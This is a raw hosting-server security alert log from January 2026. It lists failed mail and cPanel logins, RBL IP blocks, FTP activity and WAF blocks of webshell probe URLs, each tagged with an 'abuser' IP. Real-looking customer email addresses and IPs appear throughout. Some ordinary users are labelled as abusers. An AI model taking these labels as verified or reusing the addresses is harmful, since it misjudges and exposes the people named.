2026-01-16 11:00:11 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:61027: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 60.51.181.19
country_id: 1733045
description:
[2026-01-16 11:01:00 +0800] info [webmaild] 60.51.181.19 - adminhr@ajplantations.com.my "GET /cpsess5505014609/3rdparty/roundcube/?_task=mail&_mbox=INBOX HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 187.170.214.75
country_id: 3996063
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/symfony/finder/Iterator/ExcludeDirectoryFilterIterator.php HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 166.143.59.184
country_id: 6252001
description:
2026-01-16 11:02:40 dovecot_login authenticator failed for H=([166.143.59.184]) [166.143.59.184]:18672: 535 Incorrect authentication data (set_id=myloo@euratech.com.my)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 60.51.181.19
country_id: 1733045
description:
[2026-01-16 11:02:03 +0800] info [webmaild] 60.51.181.19 - adminhr@ajplantations.com.my "POST /cpsess4018509503/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.64.37.202
country_id: 953987
description:
Jan 16 11:03:48 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.64.37.202 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 60.51.181.19
country_id: 1733045
description:
[2026-01-16 11:03:03 +0800] info [webmaild] 60.51.181.19 - adminhr@ajplantations.com.my "POST /cpsess4018509503/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.64.37.202
country_id: 953987
description:
Jan 16 11:04:02 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.64.37.202 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 60.51.181.19
country_id: 1733045
description:
[2026-01-16 11:04:03 +0800] info [webmaild] 60.51.181.19 - adminhr@ajplantations.com.my "POST /cpsess4018509503/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 207.248.109.252
country_id: 3996063
description:
Jan 16 11:04:07 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 207.248.109.252 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.214.137.39
country_id: 2510769
description:
Jan 16 11:04:48 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.214.137.39 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.214.137.39
country_id: 2510769
description:
Jan 16 11:05:01 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.214.137.39 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.129.52.225
country_id: 953987
description:
Jan 16 11:07:49 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.129.52.225 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 27.125.241.241
country_id: 1733045
description:
[2026-01-16 11:07:53 +0800] info [webmaild] 27.125.241.241 - jlpom@ajplantations.com.my "POST /cpsess9763503432/3rdparty/roundcube/?_task=mail&_action=autocomplete HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [27.125.241.218] != Current IP Address [27.125.241.241]


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 27.125.241.8
country_id: 1733045
description:
[2026-01-16 11:07:25 +0800] info [webmaild] 27.125.241.8 - jlpom@ajplantations.com.my "GET /cpsess2601267093/3rdparty/roundcube/?_task=settings HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [27.125.241.7] != Current IP Address [27.125.241.8]


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.232.164.81
country_id: 798544
description:
Jan 16 11:07:29 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.232.164.81 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 27.125.241.218
country_id: 1733045
description:
[2026-01-16 11:07:31 +0800] info [webmaild] 27.125.241.218 - jlpom@ajplantations.com.my "GET /cpsess9763503432/3rdparty/roundcube/?_task=settings&login=1&post_login=22871070547330 HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [27.125.241.8] != Current IP Address [27.125.241.218]


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.129.52.225
country_id: 953987
description:
Jan 16 11:08:03 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.129.52.225 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 218.17.217.141
country_id: 1814991
description:
Jan 16 11:10:52 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 218.17.217.141 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.17.217.141
country_id: 1814991
description:
2026-01-16 11:10:54 dovecot_login authenticator failed for H=([218.17.217.141]) [218.17.217.141]:1825: 535 Incorrect authentication data (set_id=general@acburn.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.234.9.218
country_id: 2017370
description:
Jan 16 11:12:55 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.234.9.218 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-16 11:12:04 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:57995: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.53.128.173
country_id: 3469034
description:
Jan 16 11:12:33 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.53.128.173 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.234.9.218
country_id: 2017370
description:
2026-01-16 11:12:57 dovecot_login authenticator failed for H=([213.234.9.218]) [213.234.9.218]:51426: 535 Incorrect authentication data (set_id=general@acburn.com.my)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 94.156.152.18
country_id: 732800
description:
2026-01-16 11:14:42 H=([94.156.152.18]) [94.156.152.18]:50694 F=<patrick.berger@huawei.com> rejected RCPT <enquiry@ms-chemicals.net>: SPF: 94.156.152.18 is not allowed to send mail from huawei.com


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 87.229.254.207
country_id: 2017370
description:
Jan 16 11:16:51 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 87.229.254.207 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.229.254.207
country_id: 2017370
description:
2026-01-16 11:16:53 dovecot_login authenticator failed for H=([87.229.254.207]) [87.229.254.207]:56312: 535 Incorrect authentication data (set_id=purchasing3@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.53.15.180
country_id: 2542007
description:
2026-01-16 11:17:46 dovecot_plain authenticator failed for H=(etiaccity) [102.53.15.180]:55874: 535 Incorrect authentication data (set_id=info@symphony-led.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.155.146.33
country_id: 2017370
description:
Jan 16 11:17:23 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.155.146.33 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.155.146.33
country_id: 2017370
description:
2026-01-16 11:17:25 dovecot_login authenticator failed for H=(ip-45-155-146-33.ip.asarta.ru) [45.155.146.33]:60128: 535 Incorrect authentication data (set_id=purchasing3)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 92.71.72.32
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:11-17.92.71.72.32||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.53.15.180
country_id: 2542007
description:
Jan 16 11:17:44 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.53.15.180 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 89.110.114.187
country_id: 2750405
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:11-21.89.110.114.187||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.96.177
country_id: 3469034
description:
Jan 16 11:21:56 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.96.177 has been locked due to Imunify RBL


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 184.105.247.194
country_id: 6252001
description:
Jan 16 11:21:46 sv3 pure-ftpd[427978]: (?@184.105.247.194) [INFO] New connection from 184.105.247.194


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.18.166.115
country_id: 1269750
description:
Jan 16 11:21:35 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.18.166.115 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.96.177
country_id: 3469034
description:
Jan 16 11:22:04 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.96.177 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 60.54.27.44
country_id: 1733045
description:
[2026-01-16 11:24:07 +0800] info [webmaild] 60.54.27.44 - sge@ajplantations.com.my "POST /cpsess5827764733/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [175.137.60.145] != Current IP Address [60.54.27.44]


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 132.255.102.150
country_id: 3469034
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/phpoffice/phpexcel/Examples/SylkTest.slk HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.246.212.10
country_id: 798544
description:
Jan 16 11:25:46 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.246.212.10 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.246.212.10
country_id: 798544
description:
Jan 16 11:25:59 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.246.212.10 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.58.115.42
country_id: 1269750
description:
Jan 16 11:26:05 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.58.115.42 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.169.2
country_id: 3175395
description:
Jan 16 11:26:45 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.169.2 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.169.2
country_id: 3175395
description:
Jan 16 11:26:59 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.169.2 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 71.224.169.28
country_id: 6252001
description:
Jan 16 11:27:34 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 71.224.169.28 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 71.224.169.28
country_id: 6252001
description:
2026-01-16 11:27:36 dovecot_plain authenticator failed for H=c-71-224-169-28.hsd1.pa.comcast.net (menes) [71.224.169.28]:60086: 535 Incorrect authentication data (set_id=rd2.project@tujusetia.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-16 11:28:04 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:61111: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 80.248.76.43
country_id: 2363686
description:
Jan 16 11:28:26 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 80.248.76.43 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.129.59.43
country_id: 953987
description:
Jan 16 11:28:04 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.129.59.43 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 189.203.95.161
country_id: 3996063
domain: www.box.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.box.com.my/image/cache/catalog/Old-Photo/stretch film4-250x250.jpg HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 92.71.76.154
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:11-30.92.71.76.154||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.92.240.196
country_id: 2921044
description:
Jan 16 11:31:16 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.92.240.196 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 77.91.178.3
country_id: 6254930
domain: www.box.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.box.com.my/index.php?path=35&product_id=461&route=product/product HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 91.226.166.8
country_id: 2017370
description:
[2026-01-16 11:32:25 +0800] info [cpaneld] 91.226.166.8 - usfoo "GET /login/?login_only=1&user=usfoo&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user usfoo (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.206.81.74
country_id: 99237
description:
[2026-01-16 11:32:28 +0800] info [cpaneld] 185.206.81.74 - usf "GET /login/?login_only=1&user=usf&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user usf (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 73.226.127.183
country_id: 6252001
description:
[2026-01-16 11:32:10 +0800] info [cpaneld] 73.226.127.183 - global "GET /login/?login_only=1&user=global&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user global (has_cpuser_file failed)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 173.255.160.245
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:11-33.173.255.160.245||RSV:7.63||T:APACHE||


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 113.211.215.143
country_id: 1733045
description:
Jan 16 11:34:05 sv3 pure-ftpd[446502]: (?@113.211.215.143) [INFO] New connection from 113.211.215.143


plugin: ossec
rule: 11314
name: FTP file deleted from server
abuser: 113.211.215.143
country_id: 1733045
description:
Jan 16 11:34:26 sv3 pure-ftpd[446502]: (eminent@113.211.215.143) [NOTICE] Deleted /home/eminent//public_html/folder/RHB1050_PMR_MGM_2026_edm/images/icon.jpg


plugin: ossec
rule: 11313
name: FTP file uploaded to server
abuser: 113.211.215.143
country_id: 1733045
description:
Jan 16 11:34:33 sv3 pure-ftpd[447129]: (eminent@113.211.215.143) [NOTICE] /home/eminent//public_html/folder/RHB888_MOHE_Pre-Graduates edm_26/index_edm.html uploaded  (29845 bytes, 954.44KB/sec)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.155.44
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/m.me/img/video.php||SC:/home/indfinitydesign/public_html/m.me||


plugin: ossec
rule: 11305
name: Attempt to access invalid directory
abuser: 113.211.215.143
country_id: 1733045
description:
Jan 16 11:34:11 sv3 pure-ftpd[446502]: (eminent@113.211.215.143) [INFO] Can't change directory to /42.0.28.63: No such file or directory


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 176.103.4.240
country_id: 690791
description:
Jan 16 11:36:53 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 176.103.4.240 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.140.4
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/m.me/images/home/druma.php||SC:/home/indfinitydesign/public_html/m.me||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 176.103.4.240
country_id: 690791
description:
Jan 16 11:37:00 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 176.103.4.240 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.216.29.40
country_id: 798544
description:
Jan 16 11:37:11 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.216.29.40 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.72.189.127
country_id: 3469034
description:
Jan 16 11:38:21 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.72.189.127 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.240.37.43
country_id: 3469034
description:
Jan 16 11:38:23 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.240.37.43 has been locked due to Imunify RBL


plugin: ossec
rule: 11314
name: FTP file deleted from server
abuser: 113.211.215.143
country_id: 1733045
description:
Jan 16 11:38:23 sv3 pure-ftpd[452369]: (eminent@113.211.215.143) [NOTICE] Deleted /home/eminent//public_html/folder/RHB888_MOHE_Pre-Graduates edm_26/index_edm.html


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 113.211.215.143
country_id: 1733045
description:
Jan 16 11:38:06 sv3 pure-ftpd[452369]: (?@113.211.215.143) [INFO] New connection from 113.211.215.143


plugin: ossec
rule: 11305
name: Attempt to access invalid directory
abuser: 113.211.215.143
country_id: 1733045
description:
Jan 16 11:38:08 sv3 pure-ftpd[452369]: (eminent@113.211.215.143) [INFO] Can't change directory to /42.0.28.63: No such file or directory


plugin: ossec
rule: 11313
name: FTP file uploaded to server
abuser: 113.211.215.143
country_id: 1733045
description:
Jan 16 11:38:27 sv3 pure-ftpd[452964]: (eminent@113.211.215.143) [NOTICE] /home/eminent//public_html/folder/RHB888_MOHE_Pre-Graduates edm_26/index_edm.html uploaded  (29845 bytes, 1139.96KB/sec)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.171.78.101
country_id: 3686110
description:
Jan 16 11:38:54 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.171.78.101 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.171.78.101
country_id: 3686110
description:
Jan 16 11:39:02 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.171.78.101 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.150.65
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/commercial/images/home/residential.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.117.252
country_id: 1733045
description:
2026-01-16 11:39:38 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.117.252]:40468: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-16 11:40:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:58023: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.117.252
country_id: 1733045
description:
2026-01-16 11:40:11 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.117.252]:40469: 535 Incorrect authentication data (set_id=WM Chan)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 201.246.0.10
country_id: 3895114
domain: www.box.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.box.com.my/image/cache/catalog/Image/Products/Accessories/Comparison Stretch Film - 0A-150x150.JPG HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.117.252
country_id: 1733045
description:
2026-01-16 11:41:38 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.117.252]:42301: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.117.252
country_id: 1733045
description:
2026-01-16 11:42:13 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.117.252]:42303: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.87.117.0
country_id: 3469034
description:
Jan 16 11:42:24 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.87.117.0 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.50
country_id: 690791
description:
2026-01-16 11:42:42 H=([45.144.212.50]) [45.144.212.50]:59140 F=<arm@da-desk.com> rejected RCPT <khim@ktlog.com.my>: SPF: 45.144.212.50 is not allowed to send mail from da-desk.com


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.107.14
country_id: 3469034
description:
Jan 16 11:42:01 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.107.14 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.209.159.15
country_id: 1668284
description:
Jan 16 11:43:49 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.209.159.15 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.117.252
country_id: 1733045
description:
2026-01-16 11:43:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.117.252]:40471: 535 Incorrect authentication data (set_id=WM Chan)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.134.212
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/index.php/component/tag/img/druma_photos/druma.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 171.110.82.233
country_id: 1814991
description:
2026-01-16 11:45:46 dovecot_login authenticator failed for H=(baroi) [171.110.82.233]:53110: 535 Incorrect authentication data (set_id=hr)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.117.252
country_id: 1733045
description:
2026-01-16 11:45:05 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.117.252]:42316: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 175.144.229.115
country_id: 1733045
description:
[2026-01-16 11:45:07 +0800] info [webmaild] 175.144.229.115 - admin@evergrown.com.my "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 171.110.82.233
country_id: 1814991
description:
2026-01-16 11:46:05 dovecot_login authenticator failed for H=(eahrp) [171.110.82.233]:53110: 535 Incorrect authentication data (set_id=hr)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 113.211.117.252
country_id: 1733045
description:
2026-01-16 11:46:13 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.117.252]:40473: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.117.252
country_id: 1733045
description:
2026-01-16 11:46:15 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.117.252]:40474: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 11313
name: FTP file uploaded to server
abuser: 113.211.215.143
country_id: 1733045
description:
Jan 16 11:47:32 sv3 pure-ftpd[468952]: (eminent@113.211.215.143) [NOTICE] /home/eminent//public_html/folder/RHB888_MOHE_Pre-Graduates edm_26/index_edm.html uploaded  (29847 bytes, 499.98KB/sec)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 154.127.42.3
country_id: 2395170
description:
Jan 16 11:47:38 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 154.127.42.3 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.117.252
country_id: 1733045
description:
2026-01-16 11:47:48 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.117.252]:42327: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 11314
name: FTP file deleted from server
abuser: 113.211.215.143
country_id: 1733045
description:
Jan 16 11:47:27 sv3 pure-ftpd[452369]: (eminent@113.211.215.143) [NOTICE] Deleted /home/eminent//public_html/folder/RHB888_MOHE_Pre-Graduates edm_26/images/banner.jpg


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 113.211.215.143
country_id: 1733045
description:
Jan 16 11:47:30 sv3 pure-ftpd[468952]: (?@113.211.215.143) [INFO] New connection from 113.211.215.143


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.134.212
country_id: 1880251
domain: indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/images/druma.php||SC:/home/indfinitydesign/public_html/images/druma.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.117.252
country_id: 1733045
description:
2026-01-16 11:48:05 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.117.252]:42328: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.209.159.15
country_id: 1668284
description:
